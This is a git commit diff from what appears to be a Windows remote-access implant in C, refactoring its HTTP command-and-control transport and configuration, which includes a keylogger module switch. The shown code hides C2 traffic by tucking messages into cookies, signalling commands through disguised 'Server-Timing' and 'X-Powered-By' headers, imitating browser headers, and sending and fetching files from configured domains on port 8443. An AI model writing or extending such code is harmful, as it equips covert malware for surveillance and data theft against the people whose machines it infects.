Move some settings out of domain structure to overall optimize configuration

This commit is contained in:
Pavlo Khazov
2025-08-16 15:40:40 +02:00
parent 5710355832
commit 460903bd18
7 changed files with 330 additions and 330 deletions

View File

@@ -1,7 +1,6 @@
#ifndef CONFIG_H
#define CONFIG_H
#include "transport/transport.h"
// ===== Configuration =====
@@ -33,10 +32,6 @@ int first_connection = 0;
int server_port = 54321;
#endif
// Count number of domains in arrays
unsigned short int domain_count = sizeof(server_domains) / sizeof(server_domains[0]);
// ===== Module includes =====
#if ENABLE_KEYLOGGER
#include "modules/keylogger.c"

View File

@@ -1,6 +1,6 @@
#include "../config.h"
#include "transport.h"
#include "transport_headers.h"
// Function to get domain configuration by domain name
DomainConfig* GetDomainConfig(char* domain) {
@@ -108,7 +108,7 @@ HttpContext* InitHttpTransport(DomainConfig* domainConfig) {
ctx->domain = wideDomain;
// Open session - USE domainConfig PARAMETER
ctx->hSession = WinHttpOpen(domainConfig->user_agent,
ctx->hSession = WinHttpOpen(user_agent,
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
@@ -145,8 +145,8 @@ int http_send(HttpContext* ctx, char* data, size_t len) {
wideMessage[wideLen] = L'\0';
// Determine method based on domain-specific message size limit
LPCWSTR method = (len > config->max_cookie_message_length) ? L"POST" : L"GET";
BOOL useBody = (len > config->max_cookie_message_length);
LPCWSTR method = (len > max_cookie_message_length) ? L"POST" : L"GET";
BOOL useBody = (len > max_cookie_message_length);
// Create request
ctx->hRequest = WinHttpOpenRequest(ctx->hConnect, method, L"/",
@@ -167,11 +167,11 @@ int http_send(HttpContext* ctx, char* data, size_t len) {
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
// Add domain-specific identity header
WinHttpAddRequestHeaders(ctx->hRequest, config->identity_header, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(ctx->hRequest, identity_header, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
// Add domain-specific common headers
for (int i = 0; i < config->num_common_headers; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, config->common_headers[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
for (int i = 0; i < num_common_headers; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, common_headers[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
}
if (useBody) {
@@ -386,11 +386,11 @@ int http_receive_file(HttpContext* ctx, char* localPath, char* message) {
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
// Add domain-specific identity header
WinHttpAddRequestHeaders(ctx->hRequest, config->identity_header, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(ctx->hRequest, identity_header, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
// Add domain-specific common headers
for (int i = 0; i < config->num_common_headers; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, config->common_headers[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
for (int i = 0; i < num_common_headers; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, common_headers[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
}
// Embed message (containing token) in domain-specific cookie
@@ -535,11 +535,11 @@ int http_send_file(HttpContext* ctx, char* filePath, char* message) {
WinHttpSetOption(ctx->hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
// Add domain-specific identity header
WinHttpAddRequestHeaders(ctx->hRequest, config->identity_header, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
WinHttpAddRequestHeaders(ctx->hRequest, identity_header, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
// Add domain-specific common headers
for (int i = 0; i < config->num_common_headers; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, config->common_headers[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
for (int i = 0; i < num_common_headers; ++i) {
WinHttpAddRequestHeaders(ctx->hRequest, common_headers[i], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
}
// Add content type for file upload

View File

@@ -5,78 +5,9 @@
#include <winhttp.h>
#include <windows.h>
// Domain-specific configuration structure
typedef struct {
char* domain;
unsigned short port;
// Communication parameters
// Headers and cookie indicating a new message from server
wchar_t* command_header_name;
wchar_t* command_header_value;
wchar_t* command_cookie_name;
// Cookie to embed message to
wchar_t* message_cookie_name;
// Header to indicate message in request body with POST method
wchar_t* body_message_header;
// Agent identification
wchar_t* user_agent;
wchar_t* identity_header;
// Common headers for this domain
wchar_t** common_headers;
int num_common_headers;
// Message size limits, if message is bigger - send message in request body with POST method
size_t max_cookie_message_length;
} DomainConfig;
// Global domain configurations
// Global domain configurations (client-side request headers kept intact)
DomainConfig domain_configs[] = {
{
.domain = "test1.com",
.port = 8443,
.command_header_name = L"Server-Timing",
.command_header_value = L"cfExtPri",
.command_cookie_name = L"x-auth-csrf-token",
.message_cookie_name = L"sessionID",
.body_message_header = L"X-Requested-With: XMLHttpRequest\r\n",
.user_agent = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
.identity_header = L"Accept-Language: en-US,en;q=0.9\r\n",
.common_headers = (wchar_t*[]){
L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
L"Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate\r\n",
L"Pragma: no-cache\r\n",
L"Connection: keep-alive\r\n"
},
.num_common_headers = 4,
.max_cookie_message_length = 64
},
{
.domain = "192.168.1.4",
.port = 8443,
.command_header_name = L"X-Powered-By",
.command_header_value = L"ASP.NET",
.command_cookie_name = L"JSESSIONID",
.message_cookie_name = L"sessionID",
.body_message_header = L"X-Requested-With: XMLHttpRequest\r\n",
.user_agent = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
.identity_header = L"Accept-Language: en-US,en;q=0.9\r\n",
.common_headers = (wchar_t*[]){
L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
L"Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate\r\n",
L"Pragma: no-cache\r\n",
L"Connection: keep-alive\r\n"
},
.num_common_headers = 4,
.max_cookie_message_length = 64
}
};
#include "transport_headers.h"
// Calculate number of domains
int num_domains = sizeof(domain_configs) / sizeof(domain_configs[0]);
int current_domain_index = 0;

View File

@@ -0,0 +1,66 @@
#ifndef TRANSPORT_HEADERS_H
#define TRANSPORT_HEADERS_H
#include <stddef.h>
// Common request headers
wchar_t* common_headers[] = {
L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n",
L"Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate\r\n",
L"Pragma: no-cache\r\n",
L"Connection: keep-alive\r\n"};
// Number of common headers
int num_common_headers = 4;
// User agent to identify against server
wchar_t* user_agent = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
// Header to identify against server
wchar_t* identity_header = L"Accept-Language: en-US,en;q=0.9\r\n";
// Message size limits, if message is bigger - send message in request body with POST method
size_t max_cookie_message_length = 64;
// Domain-specific configuration structure
typedef struct {
char* domain;
unsigned short port;
// Communication parameters
// Headers and cookie indicating a new message from server
wchar_t* command_header_name;
wchar_t* command_header_value;
wchar_t* command_cookie_name;
// Cookie to embed message to
wchar_t* message_cookie_name;
// Header to indicate message in request body when POST method is used
wchar_t* body_message_header;
} DomainConfig;
// Global domain configurations
DomainConfig domain_configs[] = {
{
.domain = "test1.com",
.port = 8443,
.command_header_name = L"Server-Timing",
.command_header_value = L"cfExtPri",
.command_cookie_name = L"x-auth-csrf-token",
.message_cookie_name = L"sessionID",
.body_message_header = L"X-Requested-With: XMLHttpRequest\r\n",
},
{
.domain = "192.168.1.4",
.port = 8443,
.command_header_name = L"X-Powered-By",
.command_header_value = L"ASP.NET",
.command_cookie_name = L"JSESSIONID",
.message_cookie_name = L"sessionID",
.body_message_header = L"X-Requested-With: XMLHttpRequest\r\n",
}
};
#endif // TRANSPORT_HEADERS_H